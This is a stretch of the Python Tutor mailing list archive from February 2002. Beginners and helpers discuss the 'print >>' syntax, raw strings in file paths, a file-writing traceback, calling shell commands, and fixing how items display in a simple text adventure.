Danny Yoo wrote:

> I think it might be worth trying it.  How many people have used the
> extended 'print >>' statement?  Perhaps a more important question: how
> many people here have even heard about it?

I've used it.  The idea of directly printing to a file isn't the
problem.  There are times when it's downright handy.  It's the syntax
that's ogreish (yes that really is a word).  But I've used far uglier
constructs in other languages so I can live with print >>.

> If we're trying to limit its exposure to the light, we're definitely
> making a judgement that it's either a terrible idea or smells terribly
> bad.  I think it's the latter, and if that's the case, perhaps a strong
> scrubbing is in order.  *grin*

The trouble is by keeping quiet about it we turn it into the Python
equivalent of a Playboy magazine.  Sooner or later the newbies are going
to find it on our bookshelves and then they'll be pulling it out way
more times than they should!

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From virketis@fas.harvard.edu  Sun Feb 17 19:36:49 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Sun, 17 Feb 2002 14:36:49 -0500
Subject: [Tutor] The 'print >>' ogre
References: <Pine.LNX.4.21.0202170235280.12134-100000@hkn.eecs.berkeley.edu> <3C6FE0C1.B959DFB2@shaw.ca>
Message-ID: <006b01c1b7ea$71bc2330$18adf78c@virketis2>

> I've used it.  The idea of directly printing to a file isn't the
> problem.  There are times when it's downright handy.  It's the syntax
> that's ogreish (yes that really is a word).  But I've used far uglier
> constructs in other languages so I can live with print >>.

I personally rather like the >> ogre. Has no one else seen Shrek here? :) I
also remember reading a small article by Guido on the python.org website
after the first version of Python with the feature came out, where he
highlighted it, along with "+=" operators, as features often requested and
used by programmers. But, if you don't dig it, what would be a more
Pythonesque way of accomplishing the same task? If you had to do a PEP, what
syntactical alternatives would you propose?

Cheers,

-P



From dsh8290@rit.edu  Sun Feb 17 20:08:08 2002
From: dsh8290@rit.edu (dman)
Date: Sun, 17 Feb 2002 15:08:08 -0500
Subject: [Tutor] The 'print >>' ogre
In-Reply-To: <006b01c1b7ea$71bc2330$18adf78c@virketis2>
References: <Pine.LNX.4.21.0202170235280.12134-100000@hkn.eecs.berkeley.edu> <3C6FE0C1.B959DFB2@shaw.ca> <006b01c1b7ea$71bc2330$18adf78c@virketis2>
Message-ID: <20020217200808.GB27666@dman.ddts.net>

On Sun, Feb 17, 2002 at 02:36:49PM -0500, Pijus Virketis wrote:
| > I've used it.  The idea of directly printing to a file isn't the
| > problem.  There are times when it's downright handy.  It's the syntax
| > that's ogreish (yes that really is a word).  But I've used far uglier
| > constructs in other languages so I can live with print >>.
| 
| I personally rather like the >> ogre. Has no one else seen Shrek here? :)

I just saw it Friday night.  Good movie.

| I also remember reading a small article by Guido on the python.org
| website after the first version of Python with the feature came out,
| where he highlighted it, along with "+=" operators, as features
| often requested and used by programmers. But, if you don't dig it,
| what would be a more Pythonesque way of accomplishing the same task?
| If you had to do a PEP, what syntactical alternatives would you
| propose?

There's the crux of the matter.  I like the feature, just not the
syntax.  I don't know what would be the Right syntax for it.  (Does
"I'll know it when I see it count"?)  The "fprint" idea with the file
as the first arg isn't too bad.  It would probably be better as a
function instead of a statement/keyword, though.  Perhaps "print"
should be turned into a function?[1]  Or perhaps "print" should be a
method on file objects, and 'stdout' become a built-in name.  It would
make it more consistent overall, and follow the "explicit, not
implicit" rule.

For example :

# current style
print "Hello World"
print >> some_file , "Hello World"
some_file.write( "a string" ) # not quite the same as 'print'

# contemplated style
stdout.print( "Hello World" )
some_file.print( "Hello World" )
some_file.write( "a string" ) # the same as it has always been


just-some-semi-random-thinking-out-loud-ly y'rs
    -D

[1] aside from backwards compatibility issues

-- 

How to shoot yourself in the foot with Java:

You find that Microsoft and Sun have released imcompatible class
libraries both implementing Gun objects. You then find that although
there are plenty of feet objects implemented in the past in many other
languages, you cannot get access to one. But seeing as Java is so cool,
you dont care and go around shooting anything else you can find.
    (written by Mark Hammond)



From e.kotyk@shaw.ca  Sun Feb 17 21:48:16 2002
From: e.kotyk@shaw.ca (Eve Kotyk)
Date: Sun, 17 Feb 2002 21:48:16 +0000
Subject: [Tutor] creating files with python and a thanks
References: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com> <41963702708@kserver.org>
 <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org>
Message-ID: <3C702520.D2B906AE@shaw.ca>

 
> function_output = function(param1, param2, ...)
> f = open('myfile.txt', 'w')
> f.write(function_output)
> f.close()
> 
> Another possibility is:
> 
> f = open('myfile.txt', 'w')
> f.write(function(param1, param2, ...))
> f.close()

Thank you.  This is very helpful, but I'm still not quite there.  Here
are my results from an Interpreter session.  

>>>def gather_data():
  items = raw_input("Add food item: ") 
  portion = input("Enter number of portions: ")
  cal_portion = input("Enter calories per portion: ")
  output = [items, portion, cal_portion]
  #return items,portion,cal_portion
  f = open('myfile.txt', 'w')
  f.write(str(output))
  f.close() 
  
>>> gather_data()
Add food item: cumquats
Enter number of portions: 10
Enter calories per portion: 50
Traceback (innermost last):
  File "<pyshell#78>", line 1, in ?
    gather_data()
  File "<pyshell#75>", line 9, in gather_data
    f.write(output)
TypeError: read-only buffer, list

-- 

ekotyk

http://members.shaw.ca/e.kotyk/virtualstudio.htm


From kalle@gnupung.net  Sun Feb 17 22:00:23 2002
From: kalle@gnupung.net (Kalle Svensson)
Date: Sun, 17 Feb 2002 23:00:23 +0100
Subject: [Tutor] The 'print >>' ogre
In-Reply-To: <Pine.LNX.4.21.0202170235280.12134-100000@hkn.eecs.berkeley.edu>
References: <20020217094850.GB14380@sandra.lysator.liu.se> <Pine.LNX.4.21.0202170235280.12134-100000@hkn.eecs.berkeley.edu>
Message-ID: <20020217220023.GA28802@sandra.lysator.liu.se>

[Danny Yoo, regarding print >>file]
> If we're trying to limit its exposure to the light, we're definitely
> making a judgement that it's either a terrible idea or smells terribly
> bad.  I think it's the latter, and if that's the case, perhaps a strong
> scrubbing is in order.  *grin*

I personally think it's the former.  I think the print statement is a
bad idea too, but not as bad.  What I would prefer is a print
function, something like:

def print(*args, **kwargs):
    if kwargs.has_key("file"):
        f = kwargs["file"]
    else:
        f = sys.stdout
    f.write(" ".join(map(str, args)) + "\n")

Anyway, I like your syntax slightly better.  I would prefer something
like "print to f: 'foo', 'bar'" over both.  But if I could have it
erased from Python, that would be the best.

Peace,
  Kalle
-- 
Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two!
English: http://www.gnupung.net/  Svenska: http://www.lysator.liu.se/~kalle/
Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()]


From erikprice@mac.com  Sun Feb 17 22:45:11 2002
From: erikprice@mac.com (Erik Price)
Date: Sun, 17 Feb 2002 17:45:11 -0500
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <41963702708@kserver.org>
Message-ID: <FFE7D3E8-23F7-11D6-9EDE-00039351FE6A@mac.com>

On Saturday, February 16, 2002, at 09:37  AM, Sheila King wrote:

> f = open(r'c:\windows\temp\myfile.mbg', 'w')
> f.write('this is my file\nmy stuff\nis in\nmy\nfile')
> f.close()
>
> (I used the r in front of the quotes, so that it will interpret the
> string as a "raw" string, and not assume the \t on \temp represents the
> escape sequence for a tab character.)

A quick question on this 'r' flag:

I use a unix-style filesystem, so I wouldn't have the same problem as 
above (it would be './temp/myfile.mbg', and I'm making the assumption 
that /t has no special meaning, though it might).  But is it generally 
good practice to use the 'r' flag like this when you have no intention 
of using variable/shell expansion?

In PHP, as well as Bash programming, single quotes are used for when you 
wish this effect -- a 'literal' string.  But double-quotes are used when 
you are okay with \t matching [tab] and other meta-characters.  Judging 
from this example, the Python equivalent is using 'open(r'string', 'w')'.

Do you try to always use the 'r' option -except- when you want 
expansion, or is the general practice to only use it when you -need- it 
to prevent a metacharacter like \t from being expanded?

Thank you,


Erik



From erikprice@mac.com  Sun Feb 17 23:16:13 2002
From: erikprice@mac.com (Erik Price)
Date: Sun, 17 Feb 2002 18:16:13 -0500
Subject: [Tutor] writing to the shell
In-Reply-To: <FFE7D3E8-23F7-11D6-9EDE-00039351FE6A@mac.com>
Message-ID: <55F9FADC-23FC-11D6-9EDE-00039351FE6A@mac.com>

Hello, everyone,

I have a quick question:

I wrote a bash shell script that takes a single argument, namely, a 
filename.  It performs some check to see if the name conforms to a 
certain structure (I used shell globbing to do this, but could easily 
use Python's regexes, though I don't know how to do that), and if it 
matches, it temporarily changes the name of the file to something else 
and then executes the scp command with the new name as the argument to 
scp.

As a learning exercise, i was thinking of turning this into a Python 
script.  I don't want a how-to on actually writing the code (esp since 
it's already written), but how can I access my shell from a Python 
script?

Thanks for the answer to this question, it will be my first "functional" 
python script.


Erik



From cheshire_cat_sf@yahoo.com  Mon Feb 18 00:31:00 2002
From: cheshire_cat_sf@yahoo.com (Britt Green)
Date: Sun, 17 Feb 2002 16:31:00 -0800 (PST)
Subject: [Tutor] Picking up Item()s
Message-ID: <20020218003100.45618.qmail@web14107.mail.yahoo.com>

I have the following code for a very very simple text adventure. Right
now a player can move around a few rooms and there are a couple of
objects in the room that one should be able to pick up.

Unfortunately I'm stuck on this point: When a player enters a room it
doesn't say "This room contains a key." Instead it says "This room
contains  [<__main__.Item instance at 0x00AC5320>]". How can I make it
so that it displays the name of the Item. Furthermore, I'd want the
player to be able to type "get key" to pick up the key, not
"__main__.Item instance at 0x00AC5320". How could I do this?

Britt

import sys
import string

class Room:
    def __init__(self, name):
        self.name = name
        self.items = []
        
    def createExits(self, exits):
        self.exits = exits

    def itemsInRooms(self, item):
        self.items.append(item)
        
class Item:
    def __init__(self, name):
        self.name = name
        self.inPosses = 0

areas = ['porch', 'foyer', 'bathroom', 'mid_stairs', 'living',
'hallway']
rooms = []
for n in areas:
    rooms.append(Room(n))

rooms[0].createExits({'e':1})
rooms[1].createExits({'e':5, 'w':0})
rooms[2].createExits({'s':5})
rooms[3].createExits({'n':5})
rooms[4].createExits({'w':5})
rooms[5].createExits({'e':4, 'n':2, 's':3, 'w':1})

items = ['key', 'door']
things = []
for n in items:
    things.append(Item(n))

rooms[0].itemsInRooms(things[0])
rooms[1].itemsInRooms(things[1])

playLoc = 0
words = ['n','s','e','w','q','get']
command = []

while 1:
    command = string.split(raw_input("--> "))
    if command[0] not in words:
        print "Come again?"
    else:
        if command[0] == 'q':
            sys.exit(1)
        elif command[0] in ['n','s','e','w']:
            if rooms[playLoc].exits.has_key(command[0]):
                playLoc = rooms[playLoc].exits.get(command[0])
                print "You find yourself in the " + rooms[playLoc].name
                print "You can move ", rooms[playLoc].exits.keys()
                if len(rooms[playLoc].items) != 0:
                    print "This room contains ", rooms[playLoc].items
            else:
                print "Your path is blocked."
        else:
            if command[1] in rooms[playLoc].items.name:
                print "You picked up the", command[1]
                for i in range(len(rooms[playLoc].items)):
                    print i                    
##                    print rooms[playLoc].items[command[1]]
##                    print things[i].name
                    
                rooms[playLoc].items.remove(command[1])
            else:
                print "That item isn't in here!"

=====
"The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman."

__________________________________________________
Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games
http://sports.yahoo.com


From dsh8290@rit.edu  Mon Feb 18 00:40:40 2002
From: dsh8290@rit.edu (dman)
Date: Sun, 17 Feb 2002 19:40:40 -0500
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <FFE7D3E8-23F7-11D6-9EDE-00039351FE6A@mac.com>
References: <41963702708@kserver.org> <FFE7D3E8-23F7-11D6-9EDE-00039351FE6A@mac.com>
Message-ID: <20020218004040.GA29665@dman.ddts.net>

On Sun, Feb 17, 2002 at 05:45:11PM -0500, Erik Price wrote:
| 
| On Saturday, February 16, 2002, at 09:37  AM, Sheila King wrote:
| 
| >f = open(r'c:\windows\temp\myfile.mbg', 'w')
| >f.write('this is my file\nmy stuff\nis in\nmy\nfile')
| >f.close()
| >
| >(I used the r in front of the quotes, so that it will interpret the
| >string as a "raw" string, and not assume the \t on \temp represents the
| >escape sequence for a tab character.)
| 
| A quick question on this 'r' flag:
| 
| I use a unix-style filesystem, so I wouldn't have the same problem as 
| above (it would be './temp/myfile.mbg', and I'm making the assumption 
| that /t has no special meaning, though it might).

Right.  In paths, forward slashes are Good and backslashes are Evil.

| But is it generally good practice to use the 'r' flag like this when
| you have no intention of using variable/shell expansion?
|
| In PHP, as well as Bash programming, single quotes are used for when you 
| wish this effect -- a 'literal' string.  But double-quotes are used when 
| you are okay with \t matching [tab] and other meta-characters.  Judging 
| from this example, the Python equivalent is using 'open(r'string', 'w')'.
| 
| Do you try to always use the 'r' option -except- when you want 
| expansion, or is the general practice to only use it when you -need- it 
| to prevent a metacharacter like \t from being expanded?

If your string contains special characters (backslashes) but you don't
want them treated specially, use the 'r' flag.  Otherwise don't
bother.

-D

-- 

Who can say, "I have kept my heart pure;
I am clean and without sin"?
        Proverbs 20:9



From lha2@columbia.edu  Mon Feb 18 01:01:08 2002
From: lha2@columbia.edu (Lloyd Hugh Allen)
Date: Sun, 17 Feb 2002 20:01:08 -0500
Subject: [Tutor] Picking up Item()s
References: <20020218003100.45618.qmail@web14107.mail.yahoo.com>
Message-ID: <3C705254.9C29B6E5@mail.verizon.net>

Britt Green wrote:
> 
> I have the following code for a very very simple text adventure. Right
> now a player can move around a few rooms and there are a couple of
> objects in the room that one should be able to pick up.
> 
> Unfortunately I'm stuck on this point: When a player enters a room it
> doesn't say "This room contains a key." Instead it says "This room
> contains  [<__main__.Item instance at 0x00AC5320>]". How can I make it
> so that it displays the name of the Item. Furthermore, I'd want the
> player to be able to type "get key" to pick up the key, not
> "__main__.Item instance at 0x00AC5320". How could I do this?

it works a /little/ better if you append a .name in the line

###
for n in items:
        things.append(Item(n)).name
###

and then in order to avoid an error when picking up items, you have to
drop the .name in

###
        else:
            if command[1] in rooms[playLoc].items:
                print "You picked up the", command[1]
###

You also may wish to prettify the display by using the

", ".join(ListOfThings)

convention so that the user doesn't see the list of exits etc. with
funny brackets. Would have to get more complicated in order to throw an
"and" in there for the last item, but at least it doesn't break on a
single-element list.

Pretty neat stuff, though, what you have so far.


From toodles@yifan.net  Mon Feb 18 01:16:02 2002
From: toodles@yifan.net (Andy W)
Date: Mon, 18 Feb 2002 09:16:02 +0800
Subject: [Tutor] Picking up Item()s
References: <20020218003100.45618.qmail@web14107.mail.yahoo.com>
Message-ID: <001501c1b819$d5fdd580$3100a8c0@sun>

Hi Britt,

> I have the following code for a very very simple text adventure. Right
> now a player can move around a few rooms and there are a couple of
> objects in the room that one should be able to pick up.
>
> Unfortunately I'm stuck on this point: When a player enters a room it
> doesn't say "This room contains a key." Instead it says "This room
> contains  [<__main__.Item instance at 0x00AC5320>]". How can I make it
> so that it displays the name of the Item. Furthermore, I'd want the
> player to be able to type "get key" to pick up the key, not
> "__main__.Item instance at 0x00AC5320". How could I do this?
>
> Britt
>

This line here needs to be changed:
>                    print "This room contains ", rooms[playLoc].items

At the moment it's just a list of the instances, so we need to do something
to it. There's several ways, I'll show a couple.

List comprehension:
item_names=[item.name for item in rooms[playLoc].items]

Map:
item_names=map(lambda item: item.name, rooms[playLoc].items)

and then...
print "This room contains ".join(item_names)

For the second question...
>             if command[1] in rooms[playLoc].items.name:
You can use the item_names we constructed for the last problem.

I hope I answered your questions,
Andy

> import sys
> import string
>
> class Room:
>     def __init__(self, name):
>         self.name = name
>         self.items = []
>
>     def createExits(self, exits):
>         self.exits = exits
>
>     def itemsInRooms(self, item):
>         self.items.append(item)
>
> class Item:
>     def __init__(self, name):
>         self.name = name
>         self.inPosses = 0
>
> areas = ['porch', 'foyer', 'bathroom', 'mid_stairs', 'living',
> 'hallway']
> rooms = []
> for n in areas:
>     rooms.append(Room(n))
>
> rooms[0].createExits({'e':1})
> rooms[1].createExits({'e':5, 'w':0})
> rooms[2].createExits({'s':5})
> rooms[3].createExits({'n':5})
> rooms[4].createExits({'w':5})
> rooms[5].createExits({'e':4, 'n':2, 's':3, 'w':1})
>
> items = ['key', 'door']
> things = []
> for n in items:
>     things.append(Item(n))
>
> rooms[0].itemsInRooms(things[0])
> rooms[1].itemsInRooms(things[1])
>
> playLoc = 0
> words = ['n','s','e','w','q','get']
> command = []
>
> while 1:
>     command = string.split(raw_input("--> "))
>     if command[0] not in words:
>         print "Come again?"
>     else:
>         if command[0] == 'q':
>             sys.exit(1)
>         elif command[0] in ['n','s','e','w']:
>             if rooms[playLoc].exits.has_key(command[0]):
>                 playLoc = rooms[playLoc].exits.get(command[0])
>                 print "You find yourself in the " + rooms[playLoc].name
>                 print "You can move ", rooms[playLoc].exits.keys()
>                 if len(rooms[playLoc].items) != 0:
>                     print "This room contains ", rooms[playLoc].items
>             else:
>                 print "Your path is blocked."
>         else:
>             if command[1] in rooms[playLoc].items.name:
>                 print "You picked up the", command[1]
>                 for i in range(len(rooms[playLoc].items)):
>                     print i
> ##                    print rooms[playLoc].items[command[1]]
> ##                    print things[i].name
>
>                 rooms[playLoc].items.remove(command[1])
>             else:
>                 print "That item isn't in here!"
>
> =====
> "The ocean, she is strange and wondrous, filled with animals that disturb
even a Frenchman."
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Sports - Coverage of the 2002 Olympic Games
> http://sports.yahoo.com
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From arcege@speakeasy.net  Mon Feb 18 01:51:29 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Sun, 17 Feb 2002 20:51:29 -0500
Subject: [Tutor] Picking up Item()s
In-Reply-To: <20020218003100.45618.qmail@web14107.mail.yahoo.com>; from cheshire_cat_sf@yahoo.com on Sun, Feb 17, 2002 at 04:31:00PM -0800
References: <20020218003100.45618.qmail@web14107.mail.yahoo.com>
Message-ID: <20020217205129.A23147@speakeasy.net>

On Sun, Feb 17, 2002 at 04:31:00PM -0800, Britt Green wrote:
> Unfortunately I'm stuck on this point: When a player enters a room it
> doesn't say "This room contains a key." Instead it says "This room
> contains  [<__main__.Item instance at 0x00AC5320>]". How can I make it
> so that it displays the name of the Item. Furthermore, I'd want the
> player to be able to type "get key" to pick up the key, not
> "__main__.Item instance at 0x00AC5320". How could I do this?

If you are going to "print" objects, then you'll want to add the
__str__ method to the class.  The string returned from that method
is used instead of what you saw before.

> Britt
> 
> import sys
> import string
> 
> class Room:
>     def __init__(self, name):
>         self.name = name
>         self.items = []
>         
>     def createExits(self, exits):
>         self.exits = exits
> 
>     def itemsInRooms(self, item):
>         self.items.append(item)
>         
> class Item:
>     def __init__(self, name):
>         self.name = name
>         self.inPosses = 0

      # what is the printed name
      def __str__(self):
          # 'a key' or 'a door'
          return 'a %s' % self.name

      # compare the name to another object, like a string
      def __cmp__(self, other):
          return cmp(self.name, other)

>>> keyitem = Item('key')
>>> print 'you have', keyitem
you have a key
>>> items = [ keyitem, Item('door') ]
>>> item2find = 'key'  # a string
>>> item2find in items
1
>>> try:
...   pos = items.index(item2find)
... except IndexError:
...   print item2find, 'not found'
... else:
...   print 'I found', repr(items[pos])
...
I found <__main__.Item instance at 0x815202c>
>>>

The __cmp__ method can help you find the right object you want from
the string.

Good luck,
  -Arcege



From sheila@thinkspot.net  Mon Feb 18 02:42:25 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sun, 17 Feb 2002 18:42:25 -0800
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <3C702520.D2B906AE@shaw.ca>
References: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com> <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org> <3C702520.D2B906AE@shaw.ca>
Message-ID: <1C4B427211C@kserver.org>

On Sun, 17 Feb 2002 21:48:16 +0000, Eve Kotyk <e.kotyk@shaw.ca>  wrote
about Re: [Tutor] creating files with python and a thanks:

> Thank you.  This is very helpful, but I'm still not quite there.  Here
> are my results from an Interpreter session.  
> 
> >>>def gather_data():
>   items = raw_input("Add food item: ") 
>   portion = input("Enter number of portions: ")
>   cal_portion = input("Enter calories per portion: ")
>   output = [items, portion, cal_portion]
>   #return items,portion,cal_portion
>   f = open('myfile.txt', 'w')
>   f.write(str(output))
>   f.close() 
>   
> >>> gather_data()
> Add food item: cumquats
> Enter number of portions: 10
> Enter calories per portion: 50
> Traceback (innermost last):
>   File "<pyshell#78>", line 1, in ?
>     gather_data()
>   File "<pyshell#75>", line 9, in gather_data
>     f.write(output)
> TypeError: read-only buffer, list

I have no idea why it is giving you difficulty. It works for me:

Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help
>>> def gather_data():
	items = raw_input("Add food item: ")
	portion = input("Enter number of portions: ")
	cal_portion = input("Enter calories per portion: ")
	output = [items, portion, cal_portion]
	f = open('myfile.txt', 'w')
	f.write(str(output))
	f.close()

	
>>> gather_data()
Add food item: cumquats
Enter number of portions: 10
Enter calories per portion: 50
>>> 

What Python Shell are you using? What operating system? 

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_




From e.kotyk@shaw.ca  Mon Feb 18 03:12:55 2002
From: e.kotyk@shaw.ca (Eve Kotyk)
Date: Mon, 18 Feb 2002 03:12:55 +0000
Subject: [Tutor] creating files with python and a thanks
References: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com> <41963702708@kserver.org>
 <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org>
 <3C702520.D2B906AE@shaw.ca> <1C4B427211C@kserver.org>
Message-ID: <3C707137.B66BD026@shaw.ca>

> 
> Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32
> Type "copyright", "credits" or "license" for more information.
> IDLE 0.8 -- press F1 for help
> >>> def gather_data():
>         items = raw_input("Add food item: ")
>         portion = input("Enter number of portions: ")
>         cal_portion = input("Enter calories per portion: ")
>         output = [items, portion, cal_portion]
>         f = open('myfile.txt', 'w')
>         f.write(str(output))
>         f.close()
> 
> 
> >>> gather_data()
> Add food item: cumquats
> Enter number of portions: 10
> Enter calories per portion: 50
> >>>
> 
> What Python Shell are you using? What operating system?

I'm using version 1.5.2 on Linux. 
> 
> --
> Sheila King
> http://www.thinkspot.net/sheila/
> 
> "When introducing your puppy to an adult cat,
> restrain the puppy, not the cat." -- Gwen Bailey,
> _The Perfect Puppy: How to Raise a Well-behaved Dog_

-- 

ekotyk

http://members.shaw.ca/e.kotyk/virtualstudio.htm


From sheila@thinkspot.net  Mon Feb 18 04:46:18 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sun, 17 Feb 2002 20:46:18 -0800
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <3C707137.B66BD026@shaw.ca>
References: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com> <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org> <3C702520.D2B906AE@shaw.ca> <1C4B427211C@kserver.org> <3C707137.B66BD026@shaw.ca>
Message-ID: <2362EF7047C@kserver.org>

On Mon, 18 Feb 2002 03:12:55 +0000, Eve Kotyk <e.kotyk@shaw.ca>  wrote
about Re: [Tutor] creating files with python and a thanks:

> > What Python Shell are you using? What operating system?
> 
> I'm using version 1.5.2 on Linux. 

Well, I'm really flabbergasted. I just logged into my web host, where I
have a shell account, and they have 1.5.2 on Linux, but it worked for me
there, as well:

Python 1.5.2 (#1, Dec 21 2000, 15:29:08)  [GCC egcs-2.91.66
19990314/Linux (egcs - on linux-i386
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> def gather_data():
...     items = raw_input("Add food item: ")
...     portion = input("Enter number of portions: ")
...     cal_portion = input("Enter calories per portion: ")
...     output = [items, portion, cal_portion]
...     f = open('myfile.txt', 'w')
...     f.write(str(output))
...     f.close()
...
>>> gather_data()
Add food item: cumquats
Enter number of portions: 10
Enter calories per portion: 50
>>>

Let's look at that error message you showed before:

Traceback (innermost last):
  File "<pyshell#78>", line 1, in ?
    gather_data()
  File "<pyshell#75>", line 9, in gather_data
    f.write(output)
TypeError: read-only buffer, list

It says:
  File "<pyshell#75>", line 9, in gather_data
    f.write(output)
TypeError: read-only buffer, list

Notice how it seems to think that your write statement is
f.write(output)
and not f.write(str(output))

For some reason, it has an old copy of the gather_data function in
memory, I'm thinking.

Try closing down the interpreter and starting up a new session and type
everything over again and see if it doesn't work this time.

(Sorry, I didn't catch the importance of that error message previously.)

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_




From kp87@lycos.com  Sun Feb 17 17:54:40 2002
From: kp87@lycos.com (kevin parks)
Date: Mon, 18 Feb 2002 02:54:40 +0900
Subject: [Tutor] Re: The 'print >>' ogre
Message-ID: <CDCGCPAGKPHICBAA@mailcity.com>

>The trouble is by keeping quiet about it we turn it into the Python
>equivalent of a Playboy magazine.  Sooner or later the newbies are going
>to find it on our bookshelves and then they'll be pulling it out way
>more times than they should!


heh heh heh, he said "pulling it out" heh heh
yeah pull it yeah yeah

</beavis and butthead mode off>

back to your regularly scheduled program.

-k-


Check out Cupid School where you will learn from Matchmaker's
best and brightest. Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From alan.gauld@bt.com  Mon Feb 18 10:23:17 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Mon, 18 Feb 2002 10:23:17 -0000
Subject: [Tutor] creating files with python and a thanks
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C37F@mbtlipnt02.btlabs.bt.co.uk>

> > (I used the r in front of the quotes, so that it will interpret the
> > string as a "raw" string, and not assume the \t on \temp 

Just as a reminder you can always use forward slashes on DOS paths too, 
which avoids the need for the r flag...

> I use a unix-style filesystem, so I wouldn't have the same problem as 
> above (it would be './temp/myfile.mbg', 

Which works in DOS land too.

> that /t has no special meaning

No, it's the \ character that means escape

> Do you try to always use the 'r' option -except- when you want 
> expansion, or is the general practice to only use it when you 
> -need- it to prevent a metacharacter like \t from being expanded?

The python idiom is the latter although I do see a lot of people 
starting to use it as a default - which is a bad thing IMHO...

Alan g.


From alan.gauld@bt.com  Mon Feb 18 10:25:08 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Mon, 18 Feb 2002 10:25:08 -0000
Subject: [Tutor] writing to the shell
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C380@mbtlipnt02.btlabs.bt.co.uk>

> certain structure (I used shell globbing to do this, but could easily 
> use Python's regexes, 

Better to use the glob module

> it's already written), but how can I access my shell from a Python 
> script?

os.system() or if you want to read the output look at
os.popen() and popen2 etc...

HTH

Alan g


From alan.gauld@bt.com  Mon Feb 18 10:47:24 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Mon, 18 Feb 2002 10:47:24 -0000
Subject: [Tutor] Picking up Item()s
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C381@mbtlipnt02.btlabs.bt.co.uk>

> class Room:...
>         
> class Item:...
> 
> areas = ['porch', 'foyer', 'bathroom', 'mid_stairs', 'living',
> 'hallway']
> rooms = []  # this is a list, can I suggest a dictionary:

> for n in areas:
>     rooms.append(Room(n))
      rooms[n] = Room(n)

> rooms[0].createExits({'e':1})
....
> rooms[5].createExits({'e':4, 'n':2, 's':3, 'w':1})

And can i suggest you put all the data build in one place so the areas table
becomes a list of tuples, something like:
> areas = [('porch',{'e':4}), ...
>          ('hallway', {'e':4, 'n':2, 's':3, 'w':1})]

Then the above lines become:

      rooms[n[0]] = Room(n[0])
      rooms[n[0]].createExits(n[1])

> rooms[0].itemsInRooms(things[0])
> rooms[1].itemsInRooms(things[1])

The dictionary nbotation isa more readable here too:

rooms['porch'].itemsInRooms(things[0])
etc

> playLoc = 0

playloc = 'porch'  #or areas[0] if you prefer

> words = ['n','s','e','w','q','get']
> command = []
> 
> while 1:
>     command = string.split(raw_input("--> "))
>     if command[0] not in words:
>         print "Come again?"
>     else:
>         if command[0] == 'q':
>             sys.exit(1)
>         elif command[0] in ['n','s','e','w']:
>             if rooms[playLoc].exits.has_key(command[0]):
>                 playLoc = rooms[playLoc].exits.get(command[0])
To cater for dictionaries either change the exits dictionary
(my favourite) or do
                  playLoc = areas[rooms[playLoc].exits.get(command[0])]

None of which answers your actual question of course but might 
make the code a little more readable and debuggable...

>                 print "You find yourself in the " + 
> rooms[playLoc].name
>                 print "You can move ", rooms[playLoc].exits.keys()
>                 if len(rooms[playLoc].items) != 0:
>                     print "This room contains ", rooms[playLoc].items

Here's the cuprit. items is a list of Item instances.
You are printing an object, you need a method of Items to print 
in a friendly way - maybe providing a __str__() method would suffice?
Or something that specifically returns a string - show() maybe?.

Alan g.


From aruna_prabhakaran@hotmail.com  Mon Feb 18 13:01:27 2002
From: aruna_prabhakaran@hotmail.com (Aruna Prabhakaran)
Date: Mon, 18 Feb 2002 13:01:27 +0000
Subject: [Tutor] BDE - help
Message-ID: <F18691E9GQvnbEG10Ga00009391@hotmail.com>

HI,
I would like to know if its possible to connect to a DB(SQL Server 6.5) 
using borland Database engine?(BDE) with python.can somebody give me some 
information regarding this?
Thanks in advance

Aruna Prabhakaran
ZeOmega Infotech Pvt Ltd
Bangalore
India.


_________________________________________________________________
MSN Photos is the easiest way to share and print your photos: 
http://photos.msn.com/support/worldwide.aspx



From erikprice@mac.com  Mon Feb 18 13:26:09 2002
From: erikprice@mac.com (Erik Price)
Date: Mon, 18 Feb 2002 08:26:09 -0500
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C37F@mbtlipnt02.btlabs.bt.co.uk>
